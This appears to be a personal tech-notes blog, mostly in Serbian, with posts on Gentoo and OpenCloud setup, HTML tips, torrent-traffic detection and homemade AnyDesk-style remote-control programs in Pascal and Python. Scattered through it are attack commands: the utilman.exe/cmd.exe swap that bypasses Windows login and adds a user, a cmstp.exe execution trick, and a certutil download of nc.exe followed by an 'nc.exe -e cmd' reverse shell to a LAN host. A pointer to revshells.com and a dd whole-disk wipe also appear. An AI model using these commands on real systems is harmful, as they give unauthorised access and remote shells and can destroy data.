Saturday, May 31, 2025

Pass to Win -Capybara

 D:

cd Windows

ren cmd.exe utilman2.exe

ren utilman.exe cmd.exe

ren utilman2.exe utilman.exe

easy access icon

net user joe joe /add

netplwiz


https://seostudio.tools


Win + R

cmd {Run As Administrator}

sfc /scannow

DISM /Online /Cleanup-Image /RestoreHealth

sfc /scannow


Seneca once said, "Speech is silver, but silence is golden."


revshells.com


https://remnux.org


cmstp.exe /ni /s c:\cmstp\CorpVPN.inf




https://lolbas-project.github.io/lolbas/Binaries/Cmstp/

++

Sunday, May 25, 2025

Laza remote


https://youtu.be/EXzfnaFpfJY?si=W_MmNgnz8N6GdVJ6

*


✅ 1. KLIJENT

📄 unit1.pas (Klijent)


unit Unit1; {$mode objfpc}{$H+} interface uses Classes, SysUtils, Forms, Controls, ExtCtrls, IdTCPClient, IdGlobal, Graphics, Dialogs, Windows, LCLIntf, LCLType, Jpeg; type TForm1 = class(TForm) IdTCPClient1: TIdTCPClient; Timer1: TTimer; procedure FormCreate(Sender: TObject); procedure Timer1Timer(Sender: TObject); private procedure CaptureScreenToJPEG(Stream: TMemoryStream); procedure ListenForCommands; procedure ExecuteRemoteCommand(const Cmd: string); public end; var Form1: TForm1; implementation {$R *.lfm} procedure TForm1.CaptureScreenToJPEG(Stream: TMemoryStream); var bmp: TBitmap; jpg: TJPEGImage; DC: HDC; begin bmp := TBitmap.Create; jpg := TJPEGImage.Create; try bmp.Width := Screen.Width; bmp.Height := Screen.Height; DC := GetDC(0); BitBlt(bmp.Canvas.Handle, 0, 0, bmp.Width, bmp.Height, DC, 0, 0, SRCCOPY); ReleaseDC(0, DC); jpg.Assign(bmp); jpg.CompressionQuality := 50; jpg.SaveToStream(Stream); finally bmp.Free; jpg.Free; end; end; procedure TForm1.Timer1Timer(Sender: TObject); var ms: TMemoryStream; begin ms := TMemoryStream.Create; try CaptureScreenToJPEG(ms); ms.Position := 0; try IdTCPClient1.ConnectTimeout := 2000; IdTCPClient1.Connect; IdTCPClient1.IOHandler.WriteLn(IntToStr(ms.Size)); IdTCPClient1.IOHandler.Write(ms, ms.Size); IdTCPClient1.Disconnect; except // greška u konekciji, ignoriši end; finally ms.Free; end; ListenForCommands; end; procedure TForm1.ListenForCommands; begin try IdTCPClient1.Host := '127.0.0.1'; // IP servera IdTCPClient1.Port := 9001; IdTCPClient1.ConnectTimeout := 2000; IdTCPClient1.Connect; while IdTCPClient1.Connected do begin ExecuteRemoteCommand(IdTCPClient1.IOHandler.ReadLn); end; except // bez konekcije end; end; procedure TForm1.ExecuteRemoteCommand(const Cmd: string); var x, y: Integer; begin if Pos('CLICK', Cmd) = 1 then begin x := StrToIntDef(ExtractWord(2, Cmd, [' ']), 0); y := StrToIntDef(ExtractWord(3, Cmd, [' ']), 0); SetCursorPos(x, y); mouse_event(MOUSEEVENTF_LEFTDOWN or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); end else if Pos('KEY', Cmd) = 1 then begin keybd_event(StrToIntDef(ExtractWord(2, Cmd, [' ']), 0), 0, 0, 0); keybd_event(StrToIntDef(ExtractWord(2, Cmd, [' ']), 0), 0, KEYEVENTF_KEYUP, 0); end; end; procedure TForm1.FormCreate(Sender: TObject); begin IdTCPClient1.Host := '127.0.0.1'; IdTCPClient1.Port := 9000; Timer1.Interval := 1000; Timer1.Enabled := True; end; end.

📄 unit1.lfm (forma za klijenta)


object Form1: TForm1 Caption = 'Remote Client' ClientHeight = 120 ClientWidth = 200 OnCreate = FormCreate object IdTCPClient1: TIdTCPClient Port = 9000 Host = '127.0.0.1' end object Timer1: TTimer Interval = 1000 OnTimer = Timer1Timer end end

✅ 2. SERVER

📄 unit1.pas (Server)


unit Unit1; {$mode objfpc}{$H+} interface uses Classes, SysUtils, Forms, Controls, Graphics, Dialogs, ExtCtrls, IdTCPServer, IdContext, IdGlobal, StdCtrls, Windows, LCLIntf, LCLType, Jpeg; type TForm1 = class(TForm) IdTCPServer1: TIdTCPServer; Image1: TImage; procedure FormCreate(Sender: TObject); procedure IdTCPServer1Execute(AContext: TIdContext); procedure Image1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); private procedure SendCommandToClient(const Cmd: string); public end; var Form1: TForm1; ClientContext: TIdContext = nil; implementation {$R *.lfm} procedure TForm1.FormCreate(Sender: TObject); begin IdTCPServer1.DefaultPort := 9000; IdTCPServer1.Active := True; Self.KeyPreview := True; end; procedure TForm1.IdTCPServer1Execute(AContext: TIdContext); var SizeStr: string; ImgStream: TMemoryStream; JPEG: TJPEGImage; Size: Integer; begin ClientContext := AContext; SizeStr := AContext.Connection.IOHandler.ReadLn; Size := StrToIntDef(SizeStr, 0); if Size <= 0 then Exit; ImgStream := TMemoryStream.Create; JPEG := TJPEGImage.Create; try AContext.Connection.IOHandler.ReadStream(ImgStream, Size, False); ImgStream.Position := 0; JPEG.LoadFromStream(ImgStream); Image1.Picture.Assign(JPEG); finally JPEG.Free; ImgStream.Free; end; end; procedure TForm1.Image1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin SendCommandToClient('CLICK ' + IntToStr(X) + ' ' + IntToStr(Y)); end; procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin SendCommandToClient('KEY ' + IntToStr(Key)); end; procedure TForm1.SendCommandToClient(const Cmd: string); begin if Assigned(ClientContext) then begin try ClientContext.Connection.IOHandler.WriteLn(Cmd); except // greška prilikom slanja komande end; end; end; end.

📄 unit1.lfm (forma za server)


object Form1: TForm1 Caption = 'Remote Server' ClientHeight = 500 ClientWidth = 800 OnCreate = FormCreate OnKeyDown = FormKeyDown KeyPreview = True object Image1: TImage Align = alClient OnMouseDown = Image1MouseDown end object IdTCPServer1: TIdTCPServer DefaultPort = 9000 OnExecute = IdTCPServer1Execute end end

📌 Napomena:

  • Server prima slike i prikazuje ih, a klik/tastatura šalje natrag klijentu kroz TCP konekciju.

  • Trenutno je ClientContext memorisan globalno – ovo funkcioniše ako je samo jedan klijent, za više klijenata bi trebalo održavati listu konekcija.

  • IP adrese i portovi se mogu menjati prema tvojoj mrežnoj konfiguraciji.

 

W11 mini

 https://schneegans.de/windows/unattend-generator/

https://www.microsoft.com/en-us/software-download/windows11

https://youtu.be/-kB__SCNA_w?si=gax3_DBhW4CsZuck



AnyDesk like tool2, mouse x y click

 


trenutna verzija koda ne klikće na koordinatu x, y koju odredi server, već:

  • Server prati poziciju svog lokalnog miša, i kada korisnik pritisne c (za „click”), pošalje komandu za klik klijentu,

  • Ali klijent klikće tamo gde se već nalazi njegov miš, jer nema koordinata u komandi {"action": "click"}.


✅ Rešenje: Dodavanje koordinata u komandu za klik

Da bi server kliknuo tačno na poziciji koju je odabrao (npr. klikom miša na prikazani ekran), moramo:

  1. Izračunati koordinatu klika u prikazanoj slici (npr. kada klikneš u OpenCV prozoru),

  2. Mapirati tu koordinatu na originalnu rezoluciju ekrana klijenta,

  3. Poslati tu poziciju klijentu zajedno sa komandom za klik.


🔁 Ažuriran deo server.py (klik sa koordinatama)

Zamenjujemo deo gde se koristi cv2.imshow i cv2.waitKey, dodajemo klik handler:


def handle_client(conn, addr): print(f"[+] Connected by {addr}") data = b'' payload_size = struct.calcsize(">L") screen_width, screen_height = None, None def mouse_callback(event, x, y, flags, param): if event == cv2.EVENT_LBUTTONDOWN: if screen_width and screen_height: # Preračunaj koordinatu iz prozora u stvarni ekran h, w, _ = frame.shape real_x = int((x / w) * screen_width) real_y = int((y / h) * screen_height) send_command({"action": "move", "x": real_x, "y": real_y}) send_command({"action": "click"}) def send_command(command): try: conn.sendall(pickle.dumps(command)) except: pass cv2.namedWindow("Remote Screen") cv2.setMouseCallback("Remote Screen", mouse_callback) while True: try: # Primi dužinu slike while len(data) < payload_size: data += conn.recv(4096) packed_msg_size = data[:payload_size] data = data[payload_size:] msg_size = struct.unpack(">L", packed_msg_size)[0] # Primi ceo frame while len(data) < msg_size: data += conn.recv(4096) frame_data = data[:msg_size] data = data[msg_size:] # Prikaži sliku frame = cv2.imdecode(np.frombuffer(frame_data, np.uint8), cv2.IMREAD_COLOR) if frame is not None: if screen_width is None or screen_height is None: screen_height, screen_width = frame.shape[:2] cv2.imshow("Remote Screen", frame) if cv2.waitKey(1) & 0xFF == ord('q'): break except Exception as e: print("Error:", e) break conn.close() cv2.destroyAllWindows()

🔁 Ažuriran deo client.py (klik na zadatu koordinatu)

Zamenjujemo:


elif command["action"] == "click": pyautogui.click()

sa:


elif command["action"] == "click": pyautogui.click() elif command["action"] == "move": pyautogui.moveTo(command["x"], command["y"])

Već postoji u kodu, ali sada redosled poziva sa servera postaje:

  1. move (na određene koordinate)

  2. click (na toj lokaciji)


✅ Rezultat:

Server sada klikće na tačnu tačku na ekranu klijenta, tamo gde klikneš mišem na prikazu slike. Ovo ponašanje je slično kako funkcionišu alati poput TeamViewer-a ili AnyDesk-a.

AnyDesk like tool

 Da bismo napravili kompletno rešenje u kojem server može da vidi ekran klijenta i da daljinski koristi miša i tastaturu (kao kod softvera za daljinsku kontrolu poput AnyDesk, TeamViewer itd.), koristićemo Python sa sledećim bibliotekama:

  • socket — za mrežnu komunikaciju

  • pyautogui — za kontrolu miša i tastature

  • PIL.ImageGrab — za hvatanje ekrana

  • cv2 (OpenCV) — za prikaz slike na serveru

  • pickle i struct — za serijalizaciju podataka




✅ KORAK 1: Instaliraj biblioteke


pip install pyautogui opencv-python pillow

📡 KLIJENT (remote računar)


# client.py import socket import threading import pyautogui import pickle import struct from PIL import ImageGrab import io SERVER_IP = 'SERVER_IP_HERE' # npr. '192.168.1.5' SERVER_PORT = 9999 def send_screen(sock): while True: # Slikaj ekran img = ImageGrab.grab() with io.BytesIO() as output: img.save(output, format="JPEG") data = output.getvalue() # Pošalji dužinu i podatke sock.sendall(struct.pack(">L", len(data)) + data) def receive_commands(sock): while True: try: data = sock.recv(1024) if not data: break command = pickle.loads(data) if command["action"] == "move": pyautogui.moveTo(command["x"], command["y"]) elif command["action"] == "click": pyautogui.click() elif command["action"] == "write": pyautogui.write(command["text"]) except Exception as e: print("Error:", e) break def main(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((SERVER_IP, SERVER_PORT)) threading.Thread(target=send_screen, args=(s,), daemon=True).start() receive_commands(s) if __name__ == "__main__": main()

🖥️ SERVER (kontroler)


# server.py import socket import cv2 import pickle import struct import threading HOST = '0.0.0.0' PORT = 9999 def handle_client(conn, addr): print(f"[+] Connected by {addr}") data = b'' payload_size = struct.calcsize(">L") def send_command(command): try: conn.sendall(pickle.dumps(command)) except: pass def mouse_control(): while True: key = cv2.waitKey(1) if key == ord('c'): send_command({"action": "click"}) elif key == ord('q'): break elif key == ord('t'): text = input("Unesi tekst za kucanje: ") send_command({"action": "write", "text": text}) threading.Thread(target=mouse_control, daemon=True).start() while True: try: # Primi dužinu slike while len(data) < payload_size: data += conn.recv(4096) packed_msg_size = data[:payload_size] data = data[payload_size:] msg_size = struct.unpack(">L", packed_msg_size)[0] # Primi ceo frame while len(data) < msg_size: data += conn.recv(4096) frame_data = data[:msg_size] data = data[msg_size:] # Prikaži sliku frame = cv2.imdecode(np.frombuffer(frame_data, np.uint8), cv2.IMREAD_COLOR) if frame is not None: cv2.imshow("Remote Screen", frame) # Šalji poziciju miša kad klikneš x, y = cv2.getWindowImageRect("Remote Screen")[0:2] pos = pyautogui.position() send_command({"action": "move", "x": pos.x, "y": pos.y}) except Exception as e: print("Error:", e) break conn.close() if __name__ == "__main__": import numpy as np import pyautogui with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server: server.bind((HOST, PORT)) server.listen(1) print(f"[*] Listening on {HOST}:{PORT}") conn, addr = server.accept() handle_client(conn, addr)

🧪 Uputstvo za korišćenje:

  1. Pokreni server.py na računaru koji upravlja.

  2. Pokreni client.py na računaru koji će biti kontrolisan.

  3. Na prozoru koji prikazuje ekran:

    • Pritisni c da klikneš

    • Pritisni t da uneseš tekst za kucanje

    • Pritisni q za izlazak


Ž

Saturday, May 24, 2025

Torrent killer

 

Detecting torrent traffic in a LAN (Local Area Network) can be important for network monitoring, security, or policy enforcement. Torrent traffic has unique characteristics that make it detectable, even when encrypted. Here's how you can detect it:


1. Use a Network Monitoring Tool

These tools analyze network traffic and can identify BitTorrent traffic patterns:

Popular Tools:

  • Wireshark

    • Use packet capture and filter for common BitTorrent ports or protocols (bittorrent, DHT, etc.).

    • Look for bittorrent, peer, handshake, or known tracker communications.

  • ntopng

    • A real-time network traffic monitoring tool that can classify traffic, including P2P/torrent.

  • Zeek (formerly Bro)

    • An advanced network analysis framework that can detect and log P2P connections.

  • PFsense + Snort/Suricata (with IDS/IPS rules)

    • These tools can use community rulesets to detect torrent traffic and even block it.


2. Detect Known BitTorrent Protocol Signatures

Even if the payload is encrypted, BitTorrent traffic uses distinguishable patterns:

  • Common ports: 6881–6889 (though many clients use random ports now)

  • DHT (Distributed Hash Table): Used for peer discovery—look for UDP traffic on port 6881 or high-numbered ports.

  • Trackers: DNS or HTTP(S) traffic to well-known tracker domains.


3. Analyze Traffic Behavior

Torrent traffic has behavioral signatures:

  • High number of simultaneous connections

  • Frequent small packets (especially TCP)

  • Unusual upload/download ratios or volume

  • Communication with many different IPs (especially on high ports)

Some tools can visualize this (e.g., ntopng or SolarWinds NetFlow Analyzer).


4. Use DPI (Deep Packet Inspection)

Enterprise firewalls or specialized tools can inspect packet contents:

  • Cisco Meraki, Palo Alto Networks, Fortinet, Sophos UTM: These often include DPI that can flag torrent traffic.

  • OpenDPI / nDPI: Open-source DPI libraries that can be integrated into custom solutions.


5. Check Router or Firewall Logs

Some routers with advanced firmware (like OpenWRT with plugins, pfSense, or Ubiquiti’s UniFi gear) can log and even alert on suspicious P2P activity.


Example with Wireshark

  1. Capture traffic on your LAN interface.

  2. Apply a display filter like:

    bittorrent || tcp.port == 6881 || udp.port == 6881
  3. Look for BitTorrent-specific handshake packets or tracker requests.


Caveats

  • Encryption & Obfuscation: Modern torrent clients can use encryption, making payload inspection difficult.

  • Port Randomization: Clients can use random ports, bypassing simple port-based detection.

  • False Positives: Some apps (e.g., gaming or VoIP) might resemble P2P patterns.



certutil -urlcache -split -f http://192.168.0.110/nc.exe nc.exe

Klijent=
certutil -urlcache -split -f http://192.168.0.110/nc.exe nc.exe
nc.exe -e cmd 192.168.0.110 1234

Server=
nc -nlvp 1234






Friday, May 23, 2025

OpenCloud.eu

 git clone https://github.com/opencloud-eu/opencloud.git

cd opencloud/deployments/examples/opencloud_full

docker-compose up -d

sudo apt update

sudo apt install docker docker-compose git 

sudo apt install apparmor

sudo -i

nano /etc/hosts


192.168.1.230 cloud.opencloud.test

192.168.1.230 collabora.opencloud.test

192.168.1.230 wopiserver.opencloud.test


https://chef.convex.dev




Wednesday, May 21, 2025

Particionisanje u Windows 11

Ova tri programa se plaćaju, free verzije su neupotrebljive:

 https://www.aomeitech.com/pa/standard.html

https://www.partitionwizard.com/free-partition-manager.html

https://www.easeus.com/partition-manager/epm-free-250411.html?saSDKMultilink=true

Hirensboot 15.2 ima potpunu verziju ovog drugog programa koja je super korisna u svim situacijama.


Prebacivanje fajla sa jednog kompjutera na drugi preko LAN mreže:

netcat -l 1234 > secrets.txt

cat secrets.txt | netcat 192.168.0.49 1234 -q 0

Monday, May 12, 2025

NixOS install

 https://www.youtube.com/watch?v=lUB2rwDUm5A&t=1039s

gentoo install

 cfdisk /dev/sda


/dev/sda1 1G Linux filesystem

/dev/sda2 4G Linux filesystem

/dev/sda3 94G Linux filesystem


lsblk


mkfs.ext4 /dev/sda3

mkfs.fat -F 32 /dev/sda1

mkswap /dev/sda2



mkdir -p /mnt/gentoo

mount /dev/sda3 /mnt/gentoo

swapon /dev/sda2

date

cd /mnt/gentoo

links https://www.gentoo.org/downloads/mirrors

Download > stage3...

stage3...tar.xz

tar xpvf stage3-amd64-openrc-20250223...tar.xz --xattrs-include='*.*' --numeric-owner


nano /mnt/gentoo/etc/portage/make.conf


MAKEOPTS="-j5"

USE="-systemd -kde -gnome -bluetooth"


cp --dereference /etc/resolv.conf /mnt/gentoo/etc


mount --types proc /proc /mnt/gentoo/proc

mount --rbind /sys /mnt/gentoo/sys

monut --make-rslave /mnt/gentoo/sys

mount --rbind /dev /mnt/gentoo/dev

monut --make-rslave /mnt/gentoo/dev

mount --bind /run /mnt/gentoo/run

mount --make-slave /mnt/gentoo/run


chroot /mnt/gentoo /bin/bash

source /etc/profile

export PS1="(ch) $PS1"

lsblk


mount /dev/sda1 boot/efi

lsblk


emerge-webrsync


eselect profile list | less


eselect profile set 21


emerge --sync --quiet


emerge --ask --verbose --update --deep --changed-use @world


emerge -q app-editors/vim


ln -sf ../usr/share/zoneinfo/Europe/Belgrade /etc/localtime


nano /etc/locale.gen


locale-gen


eselect locale list


eselect locale set 4


env-update && source /etc/profile && export PS1="(ch) $PS1"


https://www.youtube.com/watch?v=OZDyH_vu5QM&t=935s







Friday, May 9, 2025

Важне белешке

Одличне линукс команде:

webcamize

df

dysk

xephyr

advcpmv


https://www.anduinos.com


Како уништити осетљиве податке на диску на професионалан начин:


lsblk

sudo dd if=/dev/zero of=/dev/sda bs=1M status=progress

sudo dd if=/dev/urandom of=/dev/sda bs=1M status=progress



HTML TIPS=



<details>

<sumary>Click me!</sumary>

<p>Magic content appears!</p>

</details>


<br>


<dialog open>

<p>No more Modal.js</p>

</dialog>


<br>


<meter value="80" max="100">


</meter>



<br>


<time datetime="2025-05-11">


May 11th


</time>



<br>


<template id="myCard">


<div class="card"></div>


</template>


Excel remoter